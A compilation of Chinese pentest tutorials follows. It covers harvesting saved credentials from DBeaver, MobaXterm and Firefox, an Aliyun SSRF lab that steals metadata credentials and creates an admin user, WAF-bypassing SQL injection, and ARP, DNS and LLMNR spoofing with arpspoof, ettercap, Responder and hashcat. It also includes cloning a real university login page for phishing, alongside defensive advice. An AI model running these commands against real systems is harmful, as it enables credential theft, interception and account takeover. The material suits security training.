https://gist.github.com/felipou/50b60309f99b70b1e28f6d22da5d8e61 下载credentials-config.json脚本之后,使用python解密:python decrypt.py credentials-config.json,然后根据解密出来的id去data-sources.json里面找对应的IP和用户名。 老版本的密码是存储在:C:\Users\<users>\.dbeaver4\General\.dbeaver-data-source.xml,可以直接使用在线解密:http://dbeaver-password-decrypter.s3-website-us-west-2.amazonaws.com/ 0x05 MobaXterm有一个.ini的文件,有对应的IP信息和私钥地址 老版本的存储: C:\Users%USERNAME%\AppData\Roaming\MobaXterm 2020年的版本: C:\Users%USERNAME%\Documents\MobaXterm 0x05 VSCODEWindows下的配置文件在这个地方: %APPDATA%\Code\User\settings.json可以根据配置文件找到笔记和ssh等存储位置 0x06 Firefox三好师傅讲的很详细,我选择使用firepwd.py: firefox的配置文件目录: %APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\ 下载解密需要的文件: key4.db和logins.json 下载解密脚本: https://github.com/lclevy/firepwd 上面三个东西放在一个文件夹: python3 firepwd.py https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAFirefox%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/ 0x07 截屏CS里面的screenshotmsf里面: use espia screengrabmsf的持续截屏: post/windows/gather/screen_spyWin10自带: psr.exe /start /gui 0 /output C:\cool.zip /maxlogsize 10x08 搜索文件在C盘搜索script.js这个文件: dir /s /b C:\script.js 原文连接:https://jkme.github.io/2020/05/14/workgroup-pentest2.html
-
从云服务器 SSRF 漏洞到接管你的阿里云控制台
0x00 前言本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。 0x01 环境搭建本文采用 TerraformGoat 进行靶场的搭建,TerraformGoat 靶场地址:https://github.com/HuoCorp/TerraformGoat(opens new window) 在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。 由于 TerraformGoat 工具的迭代更新,下述环境搭建的方法已失效,现在部署的方法更加方便友好,具体部署方法请参见上面的 TerraformGoat 靶场地址。 接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。 git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1 cd TerraformGoat docker build . -t terraformgoat:v0.0.3 docker run -itd --name terraformgoat terraformgoat:v0.0.3 docker exec -it terraformgoat /bin/bash如果 github 访问较慢,可以给终端挂上代理 proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url在进入容器后,容器会提示选择接下来要使用的云服务提供商,这里以阿里云服务为例,输入 2 选择阿里云后回车。 进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey cd /TerraformGoat/aliyun/ecs/ecs_ssrf/ aliyun configure 部署 SSRF 靶场 如果 init 初始化比较慢,挂上代理即可 在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。 在 Outputs 处,可以看到返回的靶场地址,访问这个地址,可以看到 SSRF 测试靶场页面,这时就说明环境搭建完了。 0x02 环境利用当前环境存在 SSRF 漏洞,但和常规 SSRF 所处的环境不同,这里的 SSRF 漏洞是出现在云服务器上的,这也就意味着我们可以通过这个 SSRF 漏洞获取到该服务器的元数据信息。 访问元数据 在返回的结果中,可以看到当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。 通过元数据获取临时凭证 这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。 将临时凭证配置到 aliyun 命令行工具里。 创建子用户,并赋予管理员权限 ram CreateUser --UserName teamssix aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666 aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix 访问 https://signin.aliyun.com (opens new window)页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到。 ram GetAccountAlias 这里的 AccountAlias 就是我们需要的 company-alias,接下来就可以登录控制台了。 输入刚才创建用户时的密码 登录后,就可以看到目标的控制台了。 由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限。 在云服务 ECS 实例中也可以看到我们刚才搭建的那台 SSRF 靶场服务器。 至此,就实现了利用云服务器上的 SSRF 漏洞接管了阿里云控制台。 另外这个环境里还放了一个 flag 文件,你如果感兴趣的话,可以动手去尝试找到这个 flag,Writeup 地址:https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf(opens new window) 0x03 防御措施这个环境的问题除了存在 SSRF 外,还有另外两个主要的问题: RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作元数据未做加固访问,导致一旦目标存在 SSRF 或目标权限被拿下,元数据就存在被获取的风险那么针对第一个 RAM 角色权限过大的问题,主要还是需要使用者严格遵守权限最小化的原则,在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限,这样可以将影响程度降到最低,但是这并不能治本。 针对第二个元数据未做加固访问的问题,可以将实例上的元数据访问模式设置为加固模式,这是一种治本的方法,将元数据访问模式设置为加固模式有以下两种方法: 在创建实例时,可以在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」 在已经创建好的实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions(opens new window) 将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。 值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据。 在 Linux 实例中获取 token 的命令如下: TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`通过 token 获取元数据 curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/ 对于 Windows 实例下的获取方法可以参考阿里云官方文档:https://help.aliyun.com/document_detail/108460.htm(opens new window) 将元数据访问模式设置为加固模式进而防御 SSRF 漏洞的这个方法由 2h0ng 师傅提供 0x04 环境删除删除创建的子账号 ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix aliyun ram DeleteUser --UserName teamssix删除 SSRF 靶场环境,在使用完靶场后,记得及时删除,因为这里创建的云服务是按时间计费的,该靶场实例的价格为每小时 0.17 元人民币。 在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure --mode AK 如果想清除 TerraformGoat,可以使用以下命令,如果以后还想进行云上攻防的学习,则可以将 TerraformGoat 环境保留下来。 docker stop terraformgoat docker rm terraformgoat docker rmi terraformgoat:v0.0.30x05 总结这里通过云上 SSRF 漏洞获取到了临时密钥,通过临时秘钥创建了一个具有管理员访问权限的子用户,最后通过这个子用户接管了目标的控制台。 但是这个方法在实战中想要使用是有一些前提的,主要前提有以下两个: ECS 实例需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限。在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。 总的来说,云上攻防和常规的内网攻防还是十分不一样的。 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。……最后,本文中所提到的很多命令都是参考火线云安全知识库中的内容,知识库地址:https://cloudsec.huoxian.cn (opens new window),在知识库的首页中可以看到火线云服务攻防矩阵,本文就是依据这个攻防矩阵进行的云上攻防。 如果你还想找到更多云安全资源进行学习,可以访问 Awesome Cloud Security 项目,该项目当前已经收录了上百余条国内外云安全博客、工具、公众号等资源,项目地址:https://github.com/teamssix/awesome-cloud-security(opens new window) 参考文章:https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs 原文连接: https://wiki.teamssix.com/CloudService/EC2/aliyun-console-takeover.html
-
sql盲注快速出数据之超级注入工具
一些朋友在群里经常遇到sql注入的问题,有时候有waf、有时候是盲注、有时候不知道如何下手? 今天分享一款工具,名字是超级注入工具 下载地址: https://github.com/shack2/SuperSQLInjectionV1 案例1: 带waf的盲注 如下图,单引号报错,而且有报错回显,这种情况利用就是典型的布尔盲注,只要我们能在后面构造一个 and 1=1 或者 or 1=1这种语句,就能出数据 这里是mysql的数据库,通常借助if函数来布尔注入,waf通常不拦单个if(),但会拦if(1,1,1)这种,如果拦了,可以把1替换成11-10,2替换成12-10这种 然后,超级注入工具一把梭就行了, 绕过waf正则就下面这种,比较简单 案例2: 案例1构造的and是为了超级注入工具去识别页面返回的内容,去判断出 1=1正确的页面字段和1=2错误页面的字段,正常工具是识别不到注入点的,所以你要指定字段,给工具一个布尔注入的依据! 再来看一个例子,希望你能理解我的意思,, 如下图,还是mysql,成功构造出一个if 报文贴入超级注入工具,这款工具测试盲注只会测试1=1和1=2,所以,在if的第一个位置设置payload,看右下角的框,已经识别到正确页面的回显值,那后面,数据就出来了! 案例3: 这里提供一个mssql类型的, 也就是Sql-server,站点存在waf,测试oR 1=1 和 1=2这种不拦截,利用1=1这里构造下数据包,sql注入工具就能识别到布尔值了, 后面就无脑出数据了, 原文连接:https://mp.weixin.qq.com/s/jrv1ZLjZ3IbtloRCXWDo-Q
-
内网渗透之中间人欺骗攻击
ARP攻击协议简介ARP全称为Address Resolution Protocol,即地址解析协议,它是一个根据IP地址获取物理地址的TCP/IP协议,主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。 ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,故而攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。 工作原理环境假设主机A: IP地址:192.168.1.1MAC地址:0A-11-22-33-44-01主机B: IP地址:192.168.1.2MAC地址:0A-11-22-33-44-02工作流程第1步:根据主机A上的路由表内容,确定用于访问主机B的转发IP地址是192.168.1.2,然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广 播到本地网络上的所有主机,源主机A的IP地址和MAC地址都包括在ARP请求中,本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配,如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存,本机缓存是有生存期的,生存期结束后,将再次重复上面的过程,主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了缓存机制ARP缓存是一个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址->MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址,每一个以太网或令牌环网络适配器都有自己单独的表,当地址解析协议被询问一个已知IP地址节点的MAC地址时,先在ARP缓存中查看,若存在,就直接返回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询,为了使广播量最小,ARP维护IP地址到MAC地址映射的缓存以便将来使用 ARP缓存可以包含动态和静态项目,动态项目随时间推移自动添加和删除,每个动态ARP缓存项的潜在生命周期是10分钟,新加到缓存中的项目带有时间戳,如果某个项目添加后2分钟内没有再使用,则此项目过期并从ARP缓存中删除,如果某个项目已在使用,则又收到2分钟的生命周期,如果某个项目始终在使用,则会另外收到2分钟的生命周期,一直到10分钟的最长生命周期,静态项目一直保留在缓存中,直到重新启动计算机为止 ARP欺骗ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,它的诞生使得网络能够更加高效的运行,但其本身也存在缺陷,ARP地址转换表依赖于计算机中高速缓冲存储器动态更新的,而高速缓冲存储器的更新是受到更新周期的限制的,只保存最近使用的地址的映射关系表项,这使得攻击者有了可乘之机,可以在高速缓冲存储器更新表项之前修改地址转换表,实现攻击。 ARP请求为广播形式发送的,网络上的主机可以自主发送ARP应答消息,并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表,这样攻击者就可以向目标主机发送伪ARP应答报文,从而篡改本地的MAC地址表,ARP欺骗可以导致目标计算机与网关通信失败,更会导致通信重定向,所有的数据都会通过攻击者的机器,攻击者再对目标和网关之间的数据进行转发,则可作为一个"中间人",实现监听目标却又不影响目标正常上网的目的。 欺骗实践基本环境攻击主机:192.168.174.129 00:0c:29:39:be:eb普通主机:192.168.174.170 00:0c:29:08:ad:eb网关地址:192.168.174.2断网攻击Step 1:在攻击主机上关闭端口转发 #终止 echo 0 > /proc/sys/net/ipv4/ip_forward #允许 echo 1 > /proc/sys/net/ipv4/ip_forward Step 2:在普通主机上查看当前ARP解析列表 Step 3:在普通主机上向百度进行ping试 ping www.baidu.com -t 可以正常访问百度: Step 4:之后在攻击主机上通过aprspoof进行断网攻击 Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host # 参数解释: -i 指定使用的接口 -c 指定当还原arp配置时t使用的MAC地址,默认为使用原来的MAC(即当停止arpspoof命令后,默认取消毒化) -t 指定要毒化的主机,如果不指定的话默认为局域网下所有主机 -r 双向毒化(host和target),从而双向扑捉数据(仅当同时指定 -t的时候才有效) #执行示例: arpspoof -i eth0 -t 192.168.174.170 192.168.174.2 Step 5:之后可以看到ping请求超时,同时浏览器无法打开www.baidu.com,同时查看ARP解析表会发现网关的MAC地址被成功欺骗后设置成了攻击者的MAC地址 Step 6:之后中断攻击(由于我们之前没有指定-c参数所以会还原原先的MAC地址) 可以看到ping恢复正常,同时页面和ARP表也恢复正常 图片数据Step 1:开启端口转发,允许本机像路由器一样转发数据信息 echo 1 > /proc/sys/net/ipv4/ip_forward Step 2:在普通主机上查看当前ARP解析列表 Step 3:在普通主机上访问Web页面 Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host # 参数解释: -i 指定使用的接口 -c 指定当还原arp配置时t使用的MAC地址,默认为使用原来的MAC(即当停止arpspoof命令后,默认取消毒化) -t 指定要毒化的主机,如果不指定的话默认为局域网下所有主机 -r 双向毒化(host和target),从而双向扑捉数据(仅当同时指定 -t的时候才有效) #执行示例: arpspoof -i eth0 -t 192.168.174.170 192.168.174.2 Step 5:之后driftnet 获取受害者用户访问网站时残留的图片数据信息 登录凭证Step 1:这里我们接着上面图片数据的部分展开,我们在攻击主机上使用ettercap捕获通信数据 ettercap -Tq -i eth0 Step 2:模拟一个第三方FTP服务 Step 3:用户访问第三方FTP服务并进行认证 Step 4:攻击者成功捕获到用户的账户密码信息 欺骗扩展这里我们补充几个在Windows下常用的ARP欺骗手法以及ARP欺骗工具的使用~ NetFuke测试环境目标主机:192.168.174.170(Win 7)攻击主机:192.168.174.169(Windows Server 2003)网关地址:192.168.174.2欺骗流程Step 1:在攻击主机上运行NetFuke软件并进行嗅探配置(此处的网卡必须要识别出来IP地址,否则无法进行ARP欺骗) Step 2:配置ARP欺骗 Step 3:插件命令参数设置 Step 4:开启ARP欺骗 攻击检测XArp工具简介XArp是国外的一款热门的ARP防火墙软件,能够帮助用户建立一个专门的检测系统,使用高级技术来检测应对网络上的各类ARP攻击,例如,使用ARP欺骗,攻击者可以窃听您的所有网络流量,包含电子邮件与密码,所有这一切都完全没有被发现,XArp执行主动与被动方法来检测此类攻击。 攻击检测Step 1:开启NetFuke实施ARP欺骗攻击 Step 2:之后再XARP端可以看到报警信息以及相关记录信息 PS:个人感觉这个工具并不是那么好~ 防御措施ARP欺骗的防御手法主要从以下两个方面出发: a、阻断伪造数据包的传播: 该方法主要是从交换机或者路由器等网络设备的角度出发,以交换机为例,将交换机的端口、MAC地址、IP地址三者绑定,生成DAI(Dynamic ARP Inspection)检测表,如果某个端口的主机发送了与它在DAI表中的条目不相符的数据包,可以选择令其断网或者丢弃其发送的数据包 b、受害者不接受伪造数据包 该方法主要是从用户的角度出发,首先不要随便接入陌生的网络是一定的,其次,用户可以在设备上安装ARP防火墙,如果是技术人员,可以选择建立静态ARP条目(适用于不会经常变动且数量较少的网络环境),Windonwde用户使用命令"arp -s ip"地址mac地址来进行静态绑定 DNS攻击域名系统DNS(Domain Name System),即域名解析协议,域名系统以分布式数据库的形式将域名和IP地址相互映射,简单来说,DNS是用来解析域名的,有了DNS我们就不用再记住烦人的IP地址,用相对好记的域名就可以对服务器进行访问,即使服务器更换了IP地址,我们依旧可以通过域名访问该服务器,这样能够使我们更方便的访问互联网 当我们在浏览器中输入www.baidu.com后,将经历以下查询过程: 客户机向本地DNS服务器查询www.baidu.com本地DNS服务器检查本地数据库,由于没有baidu.com域的记录,因此它将查询信息传递到根域DNS服务器,请求解析主机名称根域DNS服务器把负责解析"com"域的DNS服务器的IP地址返回给本地DNS服务器本地DNS服务器将请求发送给负责"com"域的DNS服务器负责"com"域的服务器根据请求将负责"baidu.com"域的DNS服务器的IP地址返回给本地DNS服务器本地DNS服务器向负责"baidu.com"区域的DNS服务器发送请求,由于此服务器具有www.baidu.com的记录,因此它将www.baidu.com 的IP地址返回给本地DNS服务器本地DNS服务器将www.baidu.com的IP地址发送给客户机域名解析成功后,客户机将http请求发送给Web服务器Web服务器响应客户机的访问请求,客户机便可以访问目标主机DNS欺骗DNS在互联网中扮演着如此重要的角色,但是在设计DNS协议时,设计者没有考虑到一些安全问题,导致了DNS的安全隐患与缺陷,DNS欺骗就是利用了DNS协议设计时的一个非常严重的安全缺陷 首先,欺骗者向目标机器发送构造好的ARP应答数据包,ARP欺骗成功后,嗅探到对方发出的DNS请求数据包,分析数据包取得ID和端口号后,向目标发送自己构造好的一个DNS返回包,对方收到DNS应答包后,发现ID和端口号全部正确,即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中,而后来的真实的DNS应答包返回时则会被丢弃 欺骗实践测试环境攻击主机:192.168.174.129目标主机:192.168.174.170简易测试Step 1:测试攻击主机的网络连通性 Step 2:之后在攻击者主机端启动Apache服务并构造一个钓鱼页面,这里简化为一个普通的HTML页面,本地测试效果如下 Step 3:查找etter.dns文件,并修改该配置文件,将www.al1ex.com指向本机IP地址 locate etter.dns leafpad /etc/ettercap/etter.dns Step 4:使用ettercap开始欺骗 ettercap -G 之后开启DNS欺骗 Step 5:查看效果 www.baidu.com——正常访问 www.al1ex.com——钓鱼页面 DNS欺骗记录: 钓鱼模拟Step 1:开启端口转发功能 echo 1 > /proc/sys/net/ipv4/ip_forward Step 2:查找etter.conf文件,并修改该配置文件 locate etter.conf leafpad /etc/ettercap/etter.conf 修改为0 Step 3:查找etter.dns文件,并修改该配置文件 locate etter.dns leafpad /etc/ettercap/etter.dns 增加一条DNS记录,这里的域名由我们制作的钓鱼网站域名而定: Step 4:下面进行DNS欺骗攻击 ettercap -T -q -M arp:remote -P dns_spoof /192.168.174.170/192.168.174.2/ #说明: 受害者地址:192.168.174.170 网关的地址:192.168.174.2 Step 5:使用setoolkit克隆网站 setoolkit http://jwbinfosys.zju.edu.cn/default2.aspx Step 6:在本地访问克隆网站 Step 7:之后诱导用户访问网站 效果有点差强人意,不过当用户访问网站并登录时,会获取到用户的登录凭证信息(后期发现是IE的安全策略的原因) DNS欺骗记录: 防御措施DNS欺骗是很难进行有效防御的,因为大多情况下都是被攻击之后才会发现,对于避免DNS欺骗所造成危害,这里给出以下建议: 1、因为DNS欺骗前提也需要ARP欺骗成功,所以首先做好对ARP欺骗攻击的防范 2、不要依赖于DNS,尽管这样会很不方便,可以使用hosts文件来实现相同的功能 3、使用安全检测软件定期检查系统是否遭受攻击 4.使用DNSSEC LLMNR攻击协议简介自Windows Vista起,Windows操作系统开始支持一种新的名称解析协议—LLMNR,主要用于局域网中的名称解析,LLMNR能够很好的支持IPv4和IPv6,它也是一个仅次于DNS的名称解析方式,而且在Linux操作系统中也实现了LLMNR,LLMNR协议解析名称的特点为端到端,IPv4的广播地址为224.0.0.252,IPv6的广播地址为FF02:0:0:0:0:0:1:3或FF02::1:3 解析顺序检查本地NetBIOS缓存,如果缓存中没有记录,则向当前子网/域发送广播进行查询检查当前子网/域内主机,如果没有主机响应,则整个请求宣告以失败结束协议风险根据LLMNR协议的解析过程可知,当用户访问一个不存在的网络的域名时,例如:Al1ex.com,那么首先会去检查本地NetBIOS缓存,由于缓存记录中没有,进而转去向当前子网/域内进行广播查询,此时如果攻击者进行恶意应答,例如:欺骗用户Al1ex.com为攻击者的服务器端IP地址,那么用户便会先攻击者提供的恶意IP地址发起请求,同时使用用户的Net-NTLM进行身份验证,此时攻击者通过LLMNR投毒的方式即可成功捕获到用户的身份信息,示意图如下: 协议攻击攻击者可以通过LLMNR协议进行投毒攻击,当用户访问某一个无法解析的域名(不存在/拼写错误)时可以使用LLMNR协议投毒的方式将攻击者主机的IP地址作为应答,之后窃取用户的Net-NTLM Hash 演示环境域控主机:192.168.174.2域内主机:192.168.174.4攻击主机:192.168.174.129攻击手法下面我们通过两种方式来演示如何进行LLMNR/NBNS欺骗攻击~ ResponderStep 1:在攻击主机上执行一下命令开启Responder ./Responder.py -I eth0 Step 2:之后模拟受害者访问不存在的\Al1ex.com(可以通过钓鱼的方式或者恶意PDF等众多的方式来实现) Step 3:之后在Responder端可以成功捕获到用户的NTLM-Hash Step 4:之后对用户的NTLM-Hash进行爆破(NTLM V1为5500,NTLM v2为5600) hashcat -m 5600 HTTP-NTLMv2-192.168.174.111.txt passkey.txtInveigh实现Inveigh下载地址:https://github.com/Kevin-Robertson/Inveigh Step 1:之用管理员权限打开攻击机器的powershell依次输入以下命令 . .\Inveigh.ps1 Invoke-Inveigh -ConsoleOutput Y #PS:如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope ProcessStep 2:模拟受害者用户访问不存在的UNC路径,且无需认 Step 3:之后再攻击主机中可以看到已经成功抓取到Net-NTLM Hash Inveigh-Zero项目地址:https://github.com/Kevin-Robertson/InveighZero Step 1:之用管理员权限打开攻击机器的cmd之后执行以下命令 Inveigh.exeStep 2:模拟用户在浏览器中输入错误的UNC查询路径,且无需填写表单信息 Step :3:之后可以捕获到用户的Net-NTLM Hash 防御措施关于LLMNR Poison攻击的实战思路有很多,包括劫持FTP,MySQL,MSSQL Server等,具体的实现可自由发挥,同时为了防止遭到LLMNR Poison攻击,可以导入下面的注册表键值关闭LLMNR,不过关闭了LLMNR以后, 可能用户的一些正常需求会受到影响~ reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
-
API安全学习笔记
必要性前后端分离已经成为web的一大趋势,通过Tomcat+Ngnix(也可以中间有个Node.js),有效地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务(多种客户端,例如:浏览器,车载终端,安卓,IOS等等)打下坚实的基础。而API就承担了前后端的通信的职责。所以学习api安全很有必要。 本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中,如有错误,还望各位斧正。 常见的api技术GraphQLGraphQL 是一个用于 API 的查询语言 通常有如下特征: (1)数据包都是发送至/graphql接口 (2)其中包含了很多换行符\n {"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}SOAP-WSDLWSDL (Web Services Description Language,Web服务描述语言)是一种XML Application,他将Web服务描述定义为一组服务访问点,客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问走的是SOAP协议,一般发送的xml格式的数据,然后会有WSDL文件 .net中常见的.asmx文件也有wsdl格式 xxx.asmx?wsdl 我们可以使用soapui对这类api进行测试 WADL文件里面有很明显的wadl标志 同样也可以用soapui的rest功能进行测试 RESTrest api并不像前面几种那种特征明显,也是如今使用最多的一种api技术 REST 是一组架构规范,并非协议或标准。API 开发人员可以采用各种方式实施 REST。 当客户端通过 RESTful API 提出请求时,它会将资源状态表述传递给请求者或终端。该信息或表述通过 HTTP 以下列某种格式传输:JSON(Javascript 对象表示法)、HTML、XLT、Python、PHP 或纯文本。JSON 是最常用的编程语言,尽管它的名字英文原意为“JavaScript 对象表示法”,但它适用于各种语言,并且人和机器都能读。 还有一些需要注意的地方:头和参数在 RESTful API HTTP 请求的 HTTP 方法中也很重要,因为其中包含了请求的元数据、授权、统一资源标识符(URI)、缓存、cookie 等重要标识信息。有请求头和响应头,每个头都有自己的 HTTP 连接信息和状态码。获取端点的方式对于api的一些安全测试,通常关注api的权限问题,api端点和基础设施的安全问题。 要测试api端点的安全问题,肯定得尽量获取多的api端点 swagger api-docs泄露Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务 常见指纹: # swagger 2 /swagger-ui.html /api-docs /v2/api-docs # swagger 3 /swagger-ui/index.html /api-docs /v2/api-docs /v3/api-docs ... api-docs可泄露所有端点信息 这里推荐两个工具进行测试 第一个是swagger-editor https://github.com/swagger-api/swagger-editor 下载之后打开index.html就可以用,可以选择导入或者远程加载url,支持json和yaml格式的api-docs 第二个是apikit https://github.com/API-Security/APIKit burp插件 graphql内省查询获取所有端点信息 https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ {"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null} 我们可以用这个生成接口文档: https://github.com/2fd/graphdoc 需要nodejs test.json是刚刚内省查询返回的json格式数据 npm install -g @2fd/graphdoc graphdoc -s ./test.json -o ./doc/schema 然后我们打开生成的/doc/index.html 根据他这个格式构造数据包就行了 其他在黑盒测试中,很大一个问题就是api端点找得不够全,我们需要从对应的应用或者从其他方面找 (1)web js html等静态资源可以有一些api端点 burp插件JS LinkFinder可以被动收集 (2)app和其他客户端应用 (3)github (4)根据规律fuzz 鉴权方式Basic Auth每次请求API时都提供用户的username和password 通常在http数据包中有一个Authorization头 Authorization: Basic base64(username:password) 这个安全性比较低,现在很少用到 JWTjwt(json web token)是一种基于 Token 的认证授权机制 分为三部分 Header : 描述 JWT 